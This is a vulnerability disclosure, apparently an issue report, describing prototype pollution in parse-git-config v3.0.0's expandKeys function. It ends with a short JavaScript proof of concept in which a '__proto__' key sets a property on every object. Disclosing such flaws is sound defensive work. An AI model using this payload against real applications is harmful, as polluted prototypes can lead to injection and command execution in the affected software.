Affected Package:

parse-git-config v3.0.0

Vulnerability Location(s):

https://github.com/jonschlinkert/parse-git-config/blob/master/index.js#L134

Description:

The latest version of parse-git-config (3.0.0) is vulnerable to Prototype Pollution through the entry function expandKeys. An attacker can supply a payload with a prop and m[2] to introduce or modify properties within the global prototype chain.
The consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library is integrated within the application. For example, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

(async () => {
  var victim = {};
  const parseGitConfig = require('parse-git-config');
  console.log("Before Attack: ", {}.isPolluted); // undefined

  let config = {
    '__proto__ "isPolluted"': true
  };
  parseGitConfig.expandKeys(config);

  console.log("After Attack: ", {}.isPolluted); //  true
})();